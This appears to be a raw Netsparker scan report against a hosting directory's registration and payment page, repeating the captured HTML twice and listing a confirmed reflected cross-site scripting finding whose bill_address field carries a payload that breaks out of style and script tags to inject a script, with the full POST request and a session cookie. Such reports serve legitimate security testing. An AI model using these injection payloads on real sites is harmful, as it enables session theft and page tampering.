<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61F9CD98909FF775B93C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F6DB9B7C52BC831426F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61F892A3187B754A986C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FC7F5AB13D73E5613C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FD30B13802A94723B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61F19594363C24EA9E5C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FF9B52C77D5327015C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FBD8B13D8D4F829B56F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61FEDF49823060374D9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61F225DB6AADDED94DF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F0D90334B6202C669C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61FF3F15F27A7A16F94C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61FD222A8B6C989D156C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FE71079E9009BD039C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F3AC37963F9652135C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61FB152311D697A844BC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61FF32AEAFFC7CA34D66F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61F304128E8284884186F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61F58489BBEA67D04F76F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
copy_from_cont POST 1
bill_address POST '"--></style></script><script>alert(0x001F1C)</script>
bill_address2 POST 3
bill_city POST 3
bill_state POST 3
bill_province POST 3
bill_zip POST 3
bill_country POST 225
bill_phone POST 3

Request

POST /register.php HTTP/1.1
Referer: http://www.hostingcatalog.com/register.php
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.hostingcatalog.com
Cookie: PHPSESSID=q4ng668a9p90m7ni0dh1sbljb4; time_0=1303648060; user_counted_0=%3CAND%3E29%3CAND%3E24
Content-Length: 546
Accept-Encoding: gzip, deflate

company_name=Smith&first_name=Smith&last_name=Smith&address=3&address2=3&city=3&state=11&province=3&zip=3&country=12&phone=3&e_mail=netsparker%40example.com&retype_e_mail=netsparker%40example.com&password=3&retype_password=3&deposit=3&promo_code=3&card_type=1&card_number=3&expire_date=3&owner_first_name=Smith&owner_last_name=Smith&copy_from_cont=1&bill_address='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x001F1C)%3c%2fscript%3e&bill_address2=3&bill_city=3&bill_state=3&bill_province=3&bill_zip=3&bill_country=225&bill_phone=3

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 14:02:37 GMT
Server: Apache
X-Powered-By: PHP/5.1.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8


<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <title>Hosting Catalog - List Your Site</title> <link rel="stylesheet" type="text/css" href="style.css"> <SCRIPT LANGUAGE="JavaScript"> <!-- function isNumber(src) { src.value=src.value.replace('$',''); if (src.value.charAt(0)=='0') { alert("Please enter correct numeric value."); src.focus(); return false; } src.value=src.value.replace(',',''); if (src.value.indexOf('.')!=-1) src.value=src.value.substr(0,src.value.indexOf('.')); if (src.value.length==0) src.value='0'; if (parseInt(src.value)<25) { alert("There's a minimum $25 deposit."); src.value='25'; } var i = 0; strField=src.value; for (i=0;i<strField.length; i++) { if ((strField.charAt(i)<'0')||(strField.charAt(i)>'9')) { alert ('Please enter a numeric value.'); src.focus(); return false; } } strField=''; var j=0; for (i=src.value.length-1;i>=0;i--) { strField=src.value.charAt(i)+strField; if ((j+1)%3==0&&i!=0) strField=','+strField; j++; } src.value=strField+'.00'; return true; } // checks date on MM/YY format function checkDate(src) { //checking if year <2002 then card is expired var exp_date=src.value; pattern="[0-9]{2}(/)[0-9]{2}"; res=exp_date.search(pattern); if (res==-1) {alert('Wrong date format!'); src.focus(); return false;} dp = exp_date.split('/'); if ((dp[0]=='00')||(parseInt(dp[0])>12)||(dp[1]=='00')||(dp[1]=='01')) {alert('Wrong date format!'); src.focus(); return false;} return true; } function describe(num) { var url="http://www.hostingcatalog.com/bid_description.php/"+num; windowVar = window.open(url,'desc_win','width=250,height=210,location=0,toolbar=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=1,channelmode=0,fullscreen=0'); windowVar.focus(); } function isMail(src) { src.value=src.value.toLowerCase(); addr=src.value; pattern="^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[_a-z0-9-]+(\.[_a-z0-9-]+)*(\.([a-z]{2,3}))+$"; res=addr.search(pattern); if (res==-1) { alert('Wrong mail format'); src.focus(); return false; } else return true; }// end isMail function isSame(src1,src2,str) { if (src1.value!=src2.value) { alert(str); src1.focus(); return false; } else return true; }// end isSame function isValidCardNumber(src) { var card_number=src.value; flag=true; pattern1="[0-9]{13,16}"; pattern2="[0-9]{4}(-)[0-9]{4}(-)[0-9]{4}(-)[0-9]{1,4}"; res=card_number.search(pattern1); if (res!=-1) { if (card_number.length>16) {flag=false;} } else { res=card_number.search(pattern2); if (res==-1) {flag=false;} if (card_number.length>19) {flag=false;} } if (!flag) { alert('Invalid credit card number'); src.focus(); return false; } else return true; }// end isValidCardNumber function phoneRequired(src) { var strField = new String(src.value); flag=true; if (strField=='') flag=false; /* for (i = 0; i < strField.length; i++) if (strField.charAt(i)!='-' && (strField.charAt(i) < '0' || strField.charAt(i) > '9')) { flag=false; } alert(strField.length); */ if (strField.length < 10) flag=false; if (!flag) { alert ('Please specify a correct phone number'); src.focus(); return false; } return true; }// phoneRequired function verify() { var f1=document.forms['billingForm']; if (!isMail(f1.elements['e_mail'])) return false; if (!isMail(f1.elements['retype_e_mail'])) return false; if (!isSame(f1.elements['password'],f1.elements['retype_password'],'Passwords must coincide!')) return false; if (!isSame(f1.elements['e_mail'],f1.elements['retype_e_mail'],'E-mail addresses must coincide!')) return false; if (f1.elements['company_name'].value=="") { alert('Not all fields are filled'); f1.elements['company_name'].focus(); return false; } if (f1.elements['first_name'].value=="") { alert('Not all fields are filled'); f1.elements['first_name'].focus(); return false; } if (f1.elements['last_name'].value=="") { alert('Not all fields are filled'); f1.elements['last_name'].focus(); return false; } if (f1.elements['address'].value=="") { alert('Not all fields are filled'); f1.elements['address'].focus(); return false; } if (f1.elements['city'].value=="") { alert('Not all fields are filled'); f1.elements['city'].focus(); return false; } if (f1.elements['state'].value=="") { alert('Not all fields are filled'); f1.elements['state'].focus(); return false; } if (f1.elements['zip'].value=="") { alert('Not all fields are filled'); f1.elements['zip'].focus(); return false; } if (f1.elements['password'].value=="") { alert('Not all fields are filled'); f1.elements['password'].focus(); return false; } if (!checkDate(f1.elements['expire_date'])) return false; if (!isValidCardNumber(f1.elements['card_number'])) return false; if (f1.elements['card_number'].value=="") { alert('Not all fields are filled'); f1.elements['card_number'].focus(); return false; } if (f1.elements['owner_first_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_first_name'].focus(); return false; } if (f1.elements['owner_last_name'].value=="") { alert('Not all fields are filled'); f1.elements['owner_last_name'].focus(); return false; } if (f1.elements['bill_address'].value=="") { alert('Not all fields are filled'); f1.elements['bill_address'].focus(); return false; } if (f1.elements['bill_city'].value=="") { alert('Not all fields are filled'); f1.elements['bill_city'].focus(); return false; } if (f1.elements['bill_country'].value=="") { alert('Not all fields are filled'); f1.elements['bill_country'].focus(); return false; } if (f1.elements['bill_zip'].value=="") { alert('Not all fields are filled'); f1.elements['bill_zip'].focus(); return false; } amount=f1.elements['deposit'].value; card=f1.elements['card_type'].options[f1.elements['card_type'].selectedIndex].text; if (confirm("You're about to charge $"+amount+" to your "+card+".")) return true; else return false; }// verify function checkType(src) { var val=src.options[src.selectedIndex].value; // if (val>1) {document.forms['billingForm'].elements['remember_info'].checked=true;} }// checkType function checkAgain(src) { var sel=document.forms['billingForm'].elements['account_type']; if (!src.checked) sel.selectedIndex=0; } function copyFromContact(src) { if (!src.checked) {return;} var f1=document.forms['billingForm']; f1.elements['bill_address'].value=f1.elements['address'].value; f1.elements['bill_address2'].value=f1.elements['address2'].value; f1.elements['bill_city'].value=f1.elements['city'].value; f1.elements['bill_zip'].value=f1.elements['zip'].value; f1.elements['bill_province'].value=f1.elements['province'].value; f1.elements['bill_state'].selectedIndex=f1.elements['state'].selectedIndex; f1.elements['bill_country'].selectedIndex=f1.elements['country'].selectedIndex; f1.elements['bill_phone'].value=f1.elements['phone'].value; } //--> </SCRIPT> </head> <body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <table width="98%" border="0" align="center" cellpadding="0" cellspacing="0"> <tr> <td background="images/header/header_bg.gif"> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td rowspan="3" valign="top"><a href="/index.php"><img src="images/header/logo.gif" width="194" height="130" border="0"></a></td> <td width="100%" height="60" align="right" valign="top"><a href="http://www.liquidweb.com/"><img src="images/header/lw-header.png" width="270" height="36" alt="Liquid Web Logo" title="Liquid Web Hosting" style="border: 0;margin-top: 5px;" /></a></td> <td rowspan="3" align="right" valign="top"><img src="images/header/header_right.gif" width="1" height="130"></td> </tr> <tr> <td height="38" align="right"> <table border="0" cellpadding="0" cellspacing="0">
<form name="top_banner_form" style="margin:0px;" target="_blank" action="http://www.hostingcatalog.com/go.php"> <tr>
<td valign="top"><img src="images/header/mostpopular.gif"></td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Unix/Linux</option>
<option value='306538BB3F31E61FA971334CDE9E3F2CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Linux VPS Hosting</option><option value='306538BB3F31E61F64DFABC32DE5FA9A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Host 5 sites for $5.95</option><option value='306538BB3F31E61FB9A639E753F1C6D4C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61F76160ADDCBFD024CC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>1&1</option><option value='306538BB3F31E61FA040BB48F2BA4B706F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Hosting 4 Less</option> </select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Dedicated Servers</option>
<option value='306538BB3F31E61FE9C44FBF5A3783C7C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>iWeb Technology</option><option value='306538BB3F31E61FA28BA7236305A230C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>SingleHop</option><option value='306538BB3F31E61FA1C304AB22C5F7CF6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Serverconnect@SwedishHost</option><option value='306538BB3F31E61FAA54B2A79DFC3F83C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>OnApp - Build Your Cloud</option><option value='306538BB3F31E61FFE07177A8248E07A6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>UnmeteredServers.com</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Budget and Free</option>
<option value='306538BB3F31E61F12A7E2E6BD950AE0C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>GlowHost $4.95 Hosting</option><option value='306538BB3F31E61FD25B27FEA0A3E7A6C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Unlimited Hosting $2.99/m</option><option value='306538BB3F31E61F5A62BD5735D1740FC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>HostingLocker</option><option value='306538BB3F31E61FE1F8C1FA57583949C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Cast-Iron Hosting Review</option><option value='306538BB3F31E61F504D178C2727600AC0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>Web Hosting High</option>
</select>
&nbsp; </td>
<td> <select name="select" onChange="goBannerLink(this);" class="dropdown">
<option value="0">Wholesale/Reseller</option>
<option value='306538BB3F31E61F2D79E432F23AA6D9C0FDE47AE4BDD9EDE292061C8522447BB64A64EAA3C40BDD819F623147C54EAD'>resell merchant accounts</option><option value='306538BB3F31E61FD31290EA3E1B3AF06F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>Cheap Reseller Hosting</option><option value='306538BB3F31E61FA3CEEA8CBEAD111B6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>PremiumReseller.com</option><option value='306538BB3F31E61FE436BD464E90E73E6F3F9242D08A55A8E7ACE56EBA9E937B92A1428829B83F5E40F262C13DAF91B6'>30 Day FREE Reseller</option>
</select>
&nbsp;&nbsp;
<input type="hidden" name="param" value=""> </td>
</tr>
</form>
</table> </td> </tr> <tr> <td height="32" align="right" class="headerlink"> <table border="0" cellspacing="0" cellpadding="0">
<tr>
<td class="headerlink"><a href="index.php">Home</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink">List Your Company</td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/advertiseradnetwork.txt">Ad Network</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="advert_login.php">Advertiser Login</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="file.php/adnetworkpartnerprogram.txt">Become a Partner</a></td>
<td><img src="images/header/nav_divider.gif"></td>
<td class="headerlink"><a href="partner">Partner Login</a></td>
<td>&nbsp;&nbsp;</td>
</tr>
</table> </td> </tr> </table> </td> </tr> <tr> <td valign="top"> <div class="regform_intro"> <style type"text/css">

p {
font-size: 14px;
font-family: arial, verdanna, sans-serif;
}

h2 {
font-size: 16px;
font-family: arial, verdanna, sans-serif;
font-style: bold;
}

td.body {
color : #000000;
font-family : Arial, Tahoma, sans-serif;
font-size : 14px;
}

</style>
<h2>Create A Hosting Catalog Account</h2>
<p>Wise choice! By listing your web hosting company at Hosting Catalog, you will receive well qualified, targeted traffic from hundreds of people in need of web hosting solutions.</p>
<p>There is a minimum deposit of $25 per account and a minimum bid of $.05 per listing. </p>
<p>For optimal results, include your listings in the <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt"><b>Hosting Catalog Ad Network</b></a>. We hand pick the sites in our network, so they are perfectly targeted towards those who are looking for web hosting services. Plus, you'll spend up to 300% less than you would using the big search ad network programs and get exposure to millions of potential hosting customers each month! Just make sure your bids meet the minimum amount for inclusion in the ad network. You can find this info <a href="http://www.hostingcatalog.com/file.php/advertiseradnetwork.txt">here</a></p>
<p>Paying through PayPal? <a href="https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=paypal%40inetinteractive%2ecom&item_name=Hosting%20Catalog%20Deposit&no_shipping=0&no_note=1&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8" target="new"><b>Send us your deposit via PayPal</b></a>. (Our PayPal address is paypal@hostingcatalog.com. Please specify your Hosting Catalog account email if it is different from your PayPal email). </p>
<p>Don't worry; your information is safe with us. <b>We respect your privacy and will never sell of give any of your information to a 3rd party.</b></p>
<p>Complete the contact and payment information forms below to get your account started and the targeted traffic streaming in!</p>
</div> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td width="10"><img src="images/misc/spacer.gif" width="10" height="1"></td> <td width="100%" valign="top"> <span class="redstar">*</span>&nbsp;<strong>There is a minimum $25 deposit. </strong> <form action="https://www.hostingcatalog.com/register.php" method="post" name="billingForm" onSubmit="return verify();"> <table> <tr> <td valign="top"> <table cellpadding="1" cellspacing="1" border="0" width="100%"> <tr align="left" valign="top" bgcolor="#E1E1E1"> <td class="body">&nbsp;<B>CONTACT INFORMATION</B></td> </tr> <tr align="left" valign="top"> <td class="body" width="400" nowrap> <table width="100%" border="0" cellspacing="3" cellpadding="0"> <tr> <td class="body" align="left" width="160" nowrap><span class="redstar">*</span>Company Name:</td> <td> <input class="textfield" type="text" name="company_name" size="20" maxlength="30" value="Smith"> <..
- /register.php

/register.php CONFIRMED

https://www.hostingcatalog.com/register.php

Parameters

Parameter Type Value
company_name POST Smith
first_name POST Smith
last_name POST Smith
address POST 3
address2 POST 3
city POST 3
state POST 11
province POST 3
zip POST 3
country POST 12
phone POST 3
e_mail POST netsparker@example.com
retype_e_mail POST netsparker@example.com
password POST 3
retype_password POST 3
deposit POST 3
promo_code POST 3
card_type POST 1
card_number POST 3
expire_date POST 3
owner_first_name POST Smith
owner_last_name POST Smith
